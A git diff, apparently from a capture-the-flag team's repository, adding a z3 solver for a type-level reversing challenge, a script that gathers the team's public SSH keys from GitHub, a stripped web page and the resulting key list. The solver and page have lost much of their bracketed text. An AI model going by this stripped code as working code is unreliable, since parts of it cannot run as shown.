Seven > > :: Result > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag6 , Cons < Flag21 , Cons < < < Ten as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag6 , Cons < Flag22 , Cons < < < Ten as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Nil > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > " + +solv = z3.Solver() +Flag = [z3.Int(f"Flag{i}") for i in range(26)] +for f in Flag: + solv.add(f >= 0) + solv.add(f <= 36) + +cond3 = "Cons< Apply, Cons< Map, Cons, Nil>>>, Nil> > >".replace("weirdVal", checkVal) +cond2 = "Cons< Apply, Cons< Map, Cons, Nil>>>, Nil> > >".replace("weirdVal", checkVal) +cond1 = parse("Cons< WTF1, Cons< Cons>>, Cons>>, Nil> > >".replace("Cond3", cond3).replace("Cond2", cond2)) +print(Eval(cond1)) +print(solv.check()) +print(solv.model()) diff --git a/gen_keys.py b/gen_keys.py new file mode 100755 index 0000000..380470e --- /dev/null +++ b/gen_keys.py @@ -0,0 +1,35 @@ +import json +import urllib.request +import base64 +import os +req = urllib.request.Request("https://api.github.com/orgs/0rganizers/members?per_page=100") +username = os.getenv("READ_ORG_USER", "galli-leo") +password = os.getenv("READ_ORG_TOKEN", "[redacted]") + +credentials = ('%s:%s' % (username, password)) +encoded_credentials = base64.b64encode(credentials.encode('ascii')) +req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) +keys = "" +print(f"[+] getting all members") +with urllib.request.urlopen(req) as response: + members_text = response.read() + members = json.loads(members_text) + for member in members: + user = member['login'] + print(f"[+] getting keys for user: {user}") + try: + with urllib.request.urlopen(f'https://github.com/{user}.keys') as response: + user_keys = response.read() + clean_user = user.replace('\n', '') + # This line would add the username as a comment. + # That makes it easy to find a key's user based on fingerprint. + # Simply do `ssh-keygen -lf keys` and grep it. + # You can use this file locally on your laptop by using your own github username/password combination at the start in the env vars. + #keys += user_keys.decode().replace("\n", f" {clean_user}\n") + # This line is the original code to maintain peoples' anonymity. + keys += user_keys.decode() + except: + print(f"[!] user {user} probably has no keys, oh well!") +print(f"[+] writing to keys file") +with open("keys", "w") as f: + f.write(keys) diff --git a/index.html b/index.html new file mode 100755 index 0000000..2ff461f --- /dev/null +++ b/index.html @@ -0,0 +1,219 @@ + + + + + +Organisers | CTF Team + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/keys b/keys new file mode 100755 index 0000000..f715b13 --- /dev/null +++ b/keys @@ -0,0 +1,131 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXF0BOW+0TdLPw9vdTA+ULBC3HdAvvZ1wmQYt/VkkA9mx2Rpap5w25NlizKfd9x/21K3lpx3mRRXVf5JpLXNmhYEVo4FK+2O68cG2qKwKpIIGETluZqXEztSA7DDdKTGGLhpj6iBz3WSOAjj8+tajwaAcjG++hHiv7XFnc/YS4V6db38vvTIP0TE/cZSoRp5Tm8m3GpU3yghTB/OT/fQCpmjQU3k0At9tnoP5zddhDb1cTpSo931r9mlouRqPwM6+b+XX00zt+/zuTRch9e4j37mhr4hr218hkazPOPerrzQDYJ35+SGBVIGUC1g9k3Px48KKsMXfcu0QxBju+mWmr +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBWA/x3hNn27nV3Tve2lOeiR8HEnmoJNBWBzqDT4kVuD +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGm6gUDfdhtxTHQOjgOtweY1S0jr5H0F+0dJ474enx+5sKObEYcVJ8DbOakhkgd2hYNc768SElWNBtMM5+ZTLd3WRo2402RNw5Jmsf+NOeAMMjx1EtdDG5C+cZhUaxUtsf6p/ISiATfSRrwMJATaCwwpDb4gD2KKB0vMQToCfBeKubkGdij+/OuvCCUIXzpuJB6kRrSP+SgU7jr0SLW30K/HpakXhUaQPMzi23U4l84be3WH/9MISsVvndPKMgHA9rBo676H1wDAD4PyW9jADylB5fDmDowIaWPpnX3OZ6TIZ+mm8DkSGV2YokER81ulk5M749ret7ePR+ZIeXEc8q7qqFUlsknUNZvExiO8q10UBnE61NWlhCDvG/GPpamNZBRjbDRbqTg9gDmIV5O7gaGDv8WjjsQbLDKh8Wp2cUaDdFSEheacBNdW2MMZUg27sB7j3RPZCwwkrc/8yFv14oKMGu5rLxUbXgRGaAm5BKBYE38y0i73trw9i+WX7WDRaqgIdVCHWEecJ5Q6tTL10K2zeMnrsxCIziPG3zCCazGAWrOc4uLTSOJB0U5BEapqigfiMjBHAPdVwvvKubFbjxYVI9il6EdKuVLJBAceUARdFnrqau4vFzTHRuup2mwu9BN0BWdAT7VByoqYvZ+6ByZyuz9PEh3g8Z/upohrgtbw== +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0XePo5ajdPdTVpddCsLtn3+bwUVdc9jtIUwgBUkLqgYH4Ob4AO0BqtGw2fD3fXxHDXGEG8I7V1wDt7OvZS4EmE+1nkX1T3HJd7yjlhE6tzOfoXbppibPXUOfu2LWPB77fNhYpHTEZ70Xg68YKCsNVzIZMuYKS5JTjrKhKFEfmyq37czvKWxXKfYtMQ4qaDom8DoQh0Eo0I4cOWq529e2T4sH7jYgJF5yeEgWFdZPr3Bol+tCi0OdyDQ0HrKQAG/H3HcUYaHxcLtVkUPqOTcHTN4VnnwPbMJwMdEPv0D07XbDuwU9FEBfjRnP2L3BLNZdtpXrfvC1Tr/jDk3uHR31G2U6X/epoYPmby0RX47hiXPFCx5zUoZOGuN3v0vnpAoQ7vgi5prl0N5ZYMOH30LQjOj2uNya7MRGWK+I1zHmp/22DWTPIoGqKs3OoZ1w+7+rdf5ECTzVbZnynb0GHxmYCsiyBuo7T5mGeHwr+Xw2Yc4FFwJ5R3TJn3HLtzP+bD06XE5G3ltGNcycqpCs2DKUzdsGQfav/+IvOh27dh9mDFE+OIo6iMZALNSm7TqfiP1ueMCfE1nGrQaBH7XnR0feQBRpCgz/jTIGIeOZ20VO1ft9shrbecZwYqgU+MFeU0n1g5K3PDfB3yBTgPJKeKYSwngZmxnmu1Nae2nzWZ8wN5Q== +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAEr2a6CLUlMCuKF72U4B1lgto/MH93HlQ+gRt5wlaJH +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLB8U4BpK2lC1pwpkWVWzE7S1oHMY+7PDVeBNrBWBht +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCd/pgaD++jF22wgDG0Fw6I+26fW33T9MHESWs8eFZNSAdZOihnEBvMRUh9HRTq7yM8ZjpviZsXsV6qVVB/YId/7WKitgQDHopeHLQ/Hv7P6tFVrCbhqnl6zwMJzS6szfzbdyQqCjqs5XV/97eWufT9WgGxfrVdiJuS2IgKNEaBxa/iYcB9gswUc2s1Rxl33B5kFrGmCr8mMjvNepG6UO6waj64K2HyrjXPIJMH+no+dQRW9fAZ9ZAUPPzh8q5vwAqaIdYCPblP6n9x4iDvMRzTjkAwK1Bb+pW/dNawFcv0JlSxPe03x7DETByBSVe2eJ1QTS1NbazTz4e8Z4zakXtassgqXeJST57frku7H20oRbIXy1ik0zyIjo03atGFHTvy8WjiHHht3R71BShQfa++RHJWBwSPU/UIQVMjwaDRKlBF1wzEjSHczxCc4T42IUBjWGSlUxTFPkNAJNsihmOvJz9u6Aj6wTpYG+GlRF25hqWz+1/fnR50JaBCkgo9vGc= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4/vE6H/jFCZFem4q+h1SG2RsN8YNHSIo9KejIaaFuCUWWzppIbXgLvmDEEGOPKc+ykKFsmwivQRGD5+cEVk7mn7vzDHlBqot3lBIFzZ81cYsJYhWNWAjVfFCM93wNTCO90iaM3uy+KYW272DEO9Ct4oi9NSUUIU3tco9WgrVAd1P3/P33VbGncl90FKgW0KBVwDDCgLg5fGkKiulNt2LfE0dKSZRCHwqRjtNxuqSFzQ19gpXDHWneb8bx9bZA+mrcQtL3+ZPwmZDysbu6dpsnndVJtSC829blGDjh99auj7bkXdky3b5lgxfN/e6o3A65YSWFNhbbgkecIRNbj4rBfjBEzoiMImEc+WSRQAVunfZ3DPl3q4KlXAX7K44sjtBEt0HZqUlV7YY4loL5xTg0V1OngJiBCXJDhPiBKKcfovYKCruuFCBQf7Rag1pAJk6f95l1ynRMLk0ZQ1Uy6XRFhEVUGdF3QNkcEfBVZ6UXrs6sG0tCYl0NWLYr+96cLpk= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPEE1/pELkzsFrBORgNz9E0yiiTDJffJ2tppHdDGcvzu +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEbWRYTScj994z+cOSJ82f6QWOc9nniCFys0bk8WpTA +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRYyUk8ZCUogiTrXm1qm8qwyrjombYPsra6oar8o4QUxlXNqjastVt4kpUGHedZ/nqKvUwF0phn6URYz0/0M5CbHWQ6nwpA4MVCV8LOYXXXoFwflv+CF6HHK4T110XW4ZhiPEk1lRoR5cWLwzacSxfqwo+MIJNsr9J0ODuUqpO56dHa2cpy3S4kcM2ns4Pklsvy7U7iXBa6YFkY8DxGC+t+gwUEovJOcwoAkbhck8oCalNVpH5x9zXEXcVrQunvkAk5K3UrER0Eu49wV4z5uDGYpOCr8RnpXZNdIxqlTaBfdoEZw30QJmSeim49hKrahY99SdhIGCllstM/f8qcIK7U+b5HZdJ0k9frSBk9gk/6CA6cG2DLUvMDepb6+Y5WkkG5c276vK8Gu9VJPXLsdcIEFvh2KaX4flgvGnEP5zGksFuHrXUM4ZODYVuLkdUYSUzvJB92vld5C3tBnVO2L3P2pO72EmDZfoQ0xnZwp4eqL1jqpPqSVC+wUnxwchoXV1F0lmUFHNopuKf2Baq1WblUha9tT8PlL7iA5eGFjVcm6KwRVP0yD2sMphamFqRfWOgc3KvbOwWE8q4r/x105+KD0QJj2nDOkrOjyCFb1RIapbzH1U8EJNyyHfVarSadlFb1/4ck4ZjKvOOTxum/QSXuJi2nEA0tVigsdiX2lmthQ== +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN9D5zbI1D2+7U/OeUwXxSaWBcK2O38poP0A/gci9tv1 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDsi6FSvAXJQiih8DB+kfzO0WK4rpyOEUcpg4F7PywPS +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHoCO8eJLv2E0J6KvGJyjcoPgW2LmK4wcINWkj4qyMpU +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjfrBLX/3is+4pA7j8r3vbnoV+rukQZ1YILGLZ9tKfvaptz2mcvJbjOvvk8JX0842pogKTNZT8PjiTQUs/g96tOsznK452YJGy2/ltth3641NxzS7tATJOVvzNn2qbUmDlkaKSnmNp3gU4hGIn7NxsiKvqi8caknUaxMTxFN/IiW1Qvqjm4ltMMcG1Tzm1mz+4OaYJOHKC1gFdlChmDiHpPiV/abeAbYIvE+hGG0ICn0d6E0+gcLa7SkfjlWGs3Kpeu56/MXMfl4vCJLgU2ywVqZmtGdhuJmTDnG0V0jqCFw94sevpPpwSpb350dWhcl1CTNuF6JCFIwD/U0APdb4f/AKnjj+7KYbWAK75nlXJ/ZTw94UBRsWxTacFbHwRpC0LUt9NxKMHCccYvWUFkSOnW06ywDqIPDrPrhw5YL2Zsgu2e8dT/FJ2WlDXpXKf+om6HK9hFu8e3iBNOI3h4CVyw7wfa7KmHeR6Wfcupsddojwv73lRoqOw5k3TKHyOSGE= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbxPhDLSs6gHVBGBQ4r4HQW6RjmP0IiIK8VlPc+v7Z0hcIi/eXI5K2tOaLoFEoKoK1lzwJgirCT3AWW+2eG6ND3Je3Y0T9pUJMgXjIGmeTLzWQSI/gxccxK0DHJVQ1RtJNlre+CtsYSTILxWGP4Ii3lTrKz4x2KgdLkvrdoFNtPZ/q5ZLz/xnSdy8qO8craHPz0H0+MR70yT1q/FCilvO0FG/Y+D4Xwvy/chcVnCxfbnIaNazBw5hGWLC3nAp+TuRY5Q2/hFThG0x5fZkHs3bXfMM5J0UWDPp1RLPSYAj+YahzLmYZNhaNzqki7/5sSQBA8/BUw/QSwx4LNYKAru4HWPS9fe2WXa84cdVIK6I8Rbaw4ggdnJPtj9L89gxpq5HBqB3yAO4vyT/2nqQD4wisbLH6jnAMFAxdpzEiNUsgx7CTdkr2nuZ+WHNNasvA1auUQa3CnYhjBPItN/EjlCh0kMr1PLEym9TSMLVGZ78ZsdHAiG1jCvXe0JSeV/GIzmc= +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTaFO6Nffqx4K++sAc0n+rvku9jsAs5ceCMbrE9ahimWFfIEebgbEROTfdawViA738O7HhZDJCtBo2u8qAzBn/YIZAWDQVZ56qR4/hX2fb6E72pgw1AZea1rqlbbTp1qFyYo/IRzE37XExMUkC9WZjRy6WLoPhS6k2F37ApjMoiUnT3IWEzEWeuZ9hFinVfYYunUNQdeXUIiMJUkWfAfmd7R3uD9ezPgvS4oCocXzw0c+UE7FssTGLYKXhXx4zj02HTNOQ8hIVL31V6R9zntghJFBnH2hZTKGArIX0gMNIHfTTNC11ZWXgRAlKPMEsKgFIey3g8g3YzjnER4fsQN++hLwPrBRS0ZMSn3bm0IMyhcK3BeUfuhJnz+sVDPX3yMnKVo5ahxc9UVfs/w7yhxwlrIz+59oPtLtMt7EuQjw31BJ27A56KIbfFMos/hGjmnLbzU4EUU2WmFI1ieNH01VtNoF8W8iwfckdRwCiMOLU4uJqQpo/RSw9+U9HSFVIO5svPtJXQTife66UsAtCRz5hWI59ZjeIuIY+DmzyJ2uchjgbZnl8emn8vC9hU+Y2F1kwI/RNsNRxi3EF3joPVEWHz3YnOopW1AglOHTb/JUWuvWLhiIb0jP4ZaGqS44pRofugrd8cUCuuOZFqdDggUNYQtIqDrLTdWCHd66g9DwlKQ== +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXQC6AddlcvobjAm9YIhO9TOW44DzHrx6M808LhrFNPZU1NhTByrl5hAOWVUU+N9QMZy9DlR/IBRDVXIbYRK1TX9n1BdZrwhDVDHP+tBVHPIbXPOta+jmxd9/NfBxwm/GTVQa8g1FoSUFqKzuEAHXQXvsV1Un+zWy4dG1WRLwvYrBNVruWssCXKQT63nMpCyAQHYcv5jnKnG24HZR7HiSx7Eqr7P3jvyDCl+QtCsreuIAJNnFsoza5M/InixK3v1F040aYzB4NMRvQ0szT/cX+ZYyDzLI7Hg/uGzMJW45KMEBORN9bfOuzK9oIxVntNYqtAEU1/IO0W+dEftLoFyVAfNJTAmK1n89La9uBMJcuV69udNrlheQc+AIJCa401YsDTpaZH0+hNrc/a3+aDfhl3+rcUuHcETTa5niI4/mexymrAsSVtzYRp3NSeLRfKKSLS/uOCX42ntsLzJLo+V6HwL4v13bJRWtGqGlZztjPMoCyNQ8CSrzBDRxOIcOD6cE= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWFNygwtsIDzUw7fjYXKWqoSkDcd25KrB5UQkgvp78U +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCibWrIylK/8PzSCzS1IfhmDX/F0S0iIEge1dgEKmuPji89a6mLEC/O0PJCt0W7HhKK+uPjPuNhja1YEUsWUclG2z4NhYnFpavh8+YUgUJPkd/0Xtru+ocJ80PyAGaIYxLM7yXRr/NPCdK7IWx5QAEXFiLxdb9TPKnNMSHe88gkuuvuysRXEVOaSpBHj0QTnVYhlD0R21Gw07kToaKmA6rxTHvr9OzFSrNKwBTrrjASWuowWLUsaQ6B8sbj0xziR4OEuOI7whODHd7jnU723TAqff2a4tTTQcHAlPqgZhyK0mPjguQtp5a8XJXb9fnHSSOYygs2J1pjUwuVYd6OCKTh +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwKXsyOveqM0S3LrSOpAIPRLv4UocMWuCsPPj2qUURs +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAm0BlCSdM2rCEfD21J057BQ6QnBTsevkgGRrGRjk3It +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHq2TioNj+6aealt3W3/D0D67mrreAjf4Z5g6/DqnhiX +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKF1dnzR/xw3LCyKiUMOg4zeAmklaX4r+5IfFTQxzbV3 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICY0FKhl9QHDPagTha59R94l9O2xxedzoh5LWyT9CZhI +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATAIg3YGw5uVsukwkSxj8HbkE5OpwSiQhSm4B27lQOR +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2poud2cr43VmvaMCfSnYg6k7ivdmTw1exa/JfxzAIxuApqeNe05Fmw1MEoDpGzgHaLIWuBJMp9++Oar3B6Noz2vljR8GxKjkS6r7RYO1e1lST8f9JDOtzvzI7XXhDstJbq9J+Huf02Ol5cjtVAgFpzcoqzEw9Zlx/Uk+zi/UmUyM+Deu2uMD93ggwv7V6a40WVN7ZiyCmL6MMx2N9gQxsBKLbdh67xfy32nSbtYfmv2SGCxjnfIR+oZkEKzS2OtsMQ2iDp0eNaobOdLnB6jBenmxULoE5ir/5LQxFal9gF5OLD4Vvyi2S2vLloNUCn8GRdTEHlRX5dRe9pmIUYkCb +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEiCcuwPPte+gTzwZu83YStmOqfOVCgBVfRLtH2dZyVV +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAnvFi7obsdyzV1EfsQLkE04oCqqiYp8waY30MCOS6U7 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE1nVrrxL4D9rkyq4PqR7r4SgNocsVfEjO02cfspRfay +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXEr/0qDA5VI8rnJ/Pzw4/0NKUlUSmYtKEhf+WTFIdnBmsEh4uQ6kPEmWenCbiFm+9OgiKw/HnlRfFbA2D06iuHdBLqO/fOxcn9lL3Pji2M71pyoJMW9VX96OmqkJXF94u1cnF0MLEjANFjhhRejf1+cO9TgbFy8vDIScuAsFBMup97DlQTo127GZIOv3gKdXwvg8R3o+Ku902eThbqwmwwzHSYgOh325nPFS3JsnVcJbSNzJnY4xkd4Extk7PADHfUoc/C+vLGSTtXzGcoMcTbO76QJyY8KVpYhVDZotWABfT0jIpcU7I9tfSqjQjDxFvp4ZUbTLiZeV0xDjCthJDaUazaeHUo801tvhPrt1JsjD7Ogg0Y6Q39n9pucZK1ljlsy/TnPOZyWEWbdi/D5q2lUiqpRdIxanJyQruuZMVJ77LLVYPxdTxooQyz67LJYwuPa4RMm4pEYtEFlsIOfGcpokDq64oG203aFjbXggasAdmW6SkIBwR9V3gKv+VEnuLmE7WZ60f3bBsaxaEPEefqRi9wlqCozJG1XRiCPwmbCmadFVCwMFuM8fnNKZ882BKLnbw+aEMxFSGv9KDUAFQ63ZV5C/u+Cmwkzjq9oW3NY+2AXXPI2zED2GWp+QQuood5xE2/LfMShyV133Kh2WyIs2uPCtxmXM9Bsvn6e5LGw== +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyoqqRXcgE+fFvUId/9dJUr+zDsHLPIycgn2NYpWla78hNE+Oq33Uxjokez3RI+VA0YrodkXLi1mHDe9h04DwxZ7vRl9MvMK7wuo6Cduyyc5nXYCeEsSzo+TqxnJfoURGvvqfxaSX3F6y7P7JWF4EyALg/y66VhhxbVXMp//8XTZNtlC7dolGQG6BcXjEg2qdEYZr+3nDrVsgnr4VI83rAlq/OQ7d+nAol4LGIoI0ySJath8x5aLTGelmT9+Av/1XR1Xbcx0dpyVLyQc/8vx3hSYOb9cy4ioq9Ok6TmggYHMi92aqEnol4Jv17oVcKYGQdWt3v/Y8y+ykF9j1zte3a1cbPxVfI7pxELBEAJ1xTwL2MXBNT3p1z0BMrtBzsGY5kIaAn3MQQVGAHq69x0ljBC6i+UTqWoWKT5c3Inqbl2A3bMJ1WhlxjJSdc7ynp4kxiJiP4l9PgnZILvLTrENju/cMsjHqqu1lx6G64awEYr/coqvLBfbxFVs/VAfrUhF1GN7q2qalWW1L5ClE9Y/OS+HQToZVN5Y5LWz/yEzn+NOVxSnqZGf8izs5B+ACK7tZcNn2fcOPlguLEtJdzR7I6nPQvSPjGv9IPT8a3gDZ8zJJ8RX5yDmVwSBTLXwvDOPH+Vh8ICTQ3Rq5R+hiYVojJc+CTK8sxHxbwRJOUfQ8VqQ== +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9C1g0xAS+vFCecJ0l1Ai+R+Dz2BdwjB+51EG1UU7Sww5VY+jcl8MgXhWvs03Px95gz6jUfrDk9tw0EiNbHA6pWUoG0XYlmRzRs01oP723iDPHHb9FZMUgCjxCFNCjmlgpmNyS33+tbO2gOF+8x2n7+K3ssCpq8r7+lZ6blbJWiVKGoBxvVt9o5Z9V44pwCur0fco060qFz11vVekGNh45qHe5rFvtrJUc8WsLW4EfY4k0JOOixOO1DjatCXI10bennHNrdYMBqvl6Bw4H2fCetjLRC8XFq1UTzmoQPq8nrWs/WYlp/gwQcZgJLMjh8l4kcDFDZ/hBaWEZ3ZZ+AZYj4GYrX9O63QSE1tYIB39dc6x1FfhOr5gXRvpZKvxP+YcKr3jDWMgQe96nAboPOhiR3VSGSxGXkNJmOq9QoyGm/hCnogwT281y+43cyfD1ufU3d1g9stz5+MOmt5TlXruyHIrlXx5k6mVBbsa6S7dP5zi6xkiFnq7pXqyL1Qk1f/QeSmQ7lcWVzfZzml0aGq/hxH8Yu68DIc8DR+MMHE4pzGqVIetMNI01WUTx6IrgYDnxMds76xlKwZa6OfpctNZ0k6BAevbtbyzcWIK5TOYV8pMcmU2smkdX3QewRxIp4gEB8ZOyYO8UsSJFM4MmyIXLqhGQF72/d/HIbdMXYTUy4Q== +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzoPq9ZH403ISmB86CR2OVXPlcwVMnshCYCAA47mYDpoVbXMd5odpq9eXmnoXNvAhZZyTIEH0dwBDBlQgbNdl/iT/rg1r92ClKS3f5pxrd7iL4kLlTFp6X1IkEPyaljHh7S5/9UmXwS/YM8XaUIx3/cVmDDsS9d/3GiBv7OO6zm2jRl9AVCMT68kg2crzEPcSAPBZgFluM7re+USh6Vd9EFnctZR8cbJnxBRqTmH/65mD4Jien1nthUKjw6TVUAKXh2WBv5pxgCP9UHDpEHnQPf0XGQ1jKaPKN97jIrh2rT4swzir13ThuQt00czrKEupZ0n/spmEgc5Ed3rM2nxN/ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0IRZ3IcP703wlMHYwvcG0tuCXDSdAbgLFq+e6ffL2GaZvD9VjYr9PLv18DHP+VP7LQSdrtlpzQaWyJWDNylhPDylKNLDULozk1x0ko1od7qPVjcHx+BPFSE7taicv/zMd6yRtE8kbGvbYs1PxFBMMP+v8+VLkQ26Xg61gFYAWeP8XSriBk1mi9cb15uG6h1FteMUdJv19FaEhnkpX2cDEyECLcwxeX5xjRtTf4phNlt5LRRTaifkUVk5xjGj3a6ZCAwvCPkhJCPlnz3Il6n7g1mlpe2GXJ00M79tMOgRejFbsk0BTDHNFzJubNBMNMDkx3rk2MYP1gdiRqOf8k8iTGeuFUUQi8I/gsrJKnBwhktd9iD4sNiJRWy/kOv2PFisrfmQdkAnaFwFP7aGjFHW/C0lYiLf2zXsIAQWw8/xLuilI7ML/uhFjQcA0fGDPwaTpdDdGz86hJAEfDVijYvzveTlPsgfD1NrHupnJk2zxlIzPTo/+HFmYNXsL1Peu0X0= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZJx+iSia5IsL5nVIlfdV9aZ3Uq9ymedzGRV5/9O5Zi +ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBfc7tHmu2BqkFmVcfGptjBU16a5eRGhuv/JTBXP9zcphOgbYX6gJ2o8+mIsMbW5p9EieRRItJsFaDoHJhBQdyo= +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFH8OxfkGKDXRaIiGVVZOufRe1i1+4GOAoVujLtCSH7y +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCejFtm5FxwA4pbsfvHFkREy/Fi2emthwybuUbJ8ZobDo4eVK8lDo4it9xhjft7LwG4o6mY45O/G7tyG8+HKpbdCkNmKPA1owD7znffh+eiL5vk5Ru7ASAcoKm/1Rqk5nu2Pyl+OujYlM/u05KsV0NmXUp7BHdq1BOHcXajfLr6T/HEfaVWcIPGTCskSuhkvhE8WtVPGHjEDvqm35p6D14xeLIhYfXEh76NYQ0BFCNiiM5FUlecDanWlFe9/q4QXCrBNbh4PVfnNtJq7b/si/2UPv91d56whltK8tOoKO/U9OwbeS0xdBDZ9TO/SjNvSFA21XQ9ln25tPAWtKbScNbKWCQE8ZaUyqEO2+/Egp4iDYRcnSeKcHnwn4vWgOFSMUQcHU2AeKcOb4OpEZTFAT9yKBL/d8XorlIZekAZfEr+09WZ7GO6Cz3KFwiCQUgSuaqAhCnA5WHdO5zDnfptLi9k7n+YmvG0dToRDOEpqZOZpN5vN63oedfKIrYjYvimVBKVfqvhy2Ez4x7Qgl451XgtapjafG4zVmIU2GahliM5UhExx1MwFRkqVFsKyddO7w93ZGRvteUw5ao+rVaSZ/1gMYpE9UOlohIWMZmNqSGelN5++4o5cYCiebBFdLkHaMowh+NrpT5L9eYddoA7x96xA4Rn18Pu2U/Q48bEPD8+9w== +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP+SRfgP3uO5VS2QTCOFj57GGuzVy3/jdXxY89TutT2K +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKxu9QR0mJwf/JOzPbAXr1VLHyp7ZI5xZmwzu+IhZCaO +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP/M5y49fJfSK0l8NkEvS8LcIn0TgrNH7iIyclHigxiK +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBPsW7izLwib3cJyZXZQF5eEoceYH6EMvKBy9shQDuFI +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgijP7QjiZW18HwxjL9CTnkKNFXN5QWjciVhDzKrHla +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNVXZRU4lO4SbNhnqTm2fJC5Wbf8TgFDLnZ3eFHmIke +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL8baYHRRCUxn8aIcXbV+1yZdqZOjRn2dOGiv9zl3DCk +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcTrnECjf9kRTsTqZMc7CfZcWWNm8djEgFQXlU7SYY5 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMSi/Dwl4+qFVWbpN8Axin0KcAWPWiNB8zcr6libaP89 +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJj7GJBUUQCroXJYRuRAPgiCCmTzs4X5zLwW8dBoWh7d +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBTWEMvvMAalffzE+5rWtQFODbpCyq+fhhxoe4zoifbk +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIltNcF+oZi65+PX0/y5SXOtZLU/JQPa0EBpdDcMNE2 +ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHkKuFIY7q16gw5nQJY5gxmus51WHd/G6v2v4gSWDHYCzwqDeYiTjvZCgyZTt/N1Z/SOFdGpxuCcwSRklX9X4189AExWKMrQtZFC9mqOLfeNNtGccUwYzrvZam0j7Vo2LRT9tQ+GP2TFWy9htOAh5UQDtHaYyGqZbK7wCHBScacwMRv2A== +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILD5F9dmyazQntVKhAvr5QVGl6wynZlZ96u6exgul0GS +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCezvyw6eybD1TPOR045f1bu78yqQSs3nJGJDqoOiT5iRLKSWO4HF3U0Jf+X2a/1ve8M2hY3GsQnNnV75B3W0U9JVwBxfo9dXkHxRokSj1SdqSa/9N0ugSv9tIjgSCYIv1C6ZARiIvjs8U16sH186a3UPWvybs4xIlF5tI3BMud1U6n0ATSdK7CKxfR7yill8lXQHRd++KUQMSRY44xh7CHJAwCCrJgmVcvNBhFYluX+mAsHwF1e3pWD9Uevr6DZnAYcZXhpI62CHMeoo644g/k/WvGQBftpOOx5WKskOVV1U+h5qoNrWFF/KerhmmebLhuEqR+498qI/xJ1+H9kaj3xHphHvVF8et9V6zOnruJkoao/OuddNPk4Bsdpx1qZyDgGWNOCtavQMug+IwctJKAMjDEMGnpCzdEek6r/KlPqVuGHlKGGnxllm2hxv/c5id0sHle7yo/zOhqa1GhYQUngAGfunyghj+Ek7Os2/h6w0uKdbCbpgpdbiVttwUi3viZVQzyWg103wYf9k/l76/7S+WUOWAw1fWT9anTlzPqGgF1OC0mb3qT3arorPloCY1BLEkHuCNRaRgQXgB8nB6UuiGi0O/FyCPcEOo8xgfsx+ZKyUahlqJ1j2B9135xs0YFAEryYV7XHTVUMTLcHzi3DErldb4IKWCNZwAI/LS1Nw== 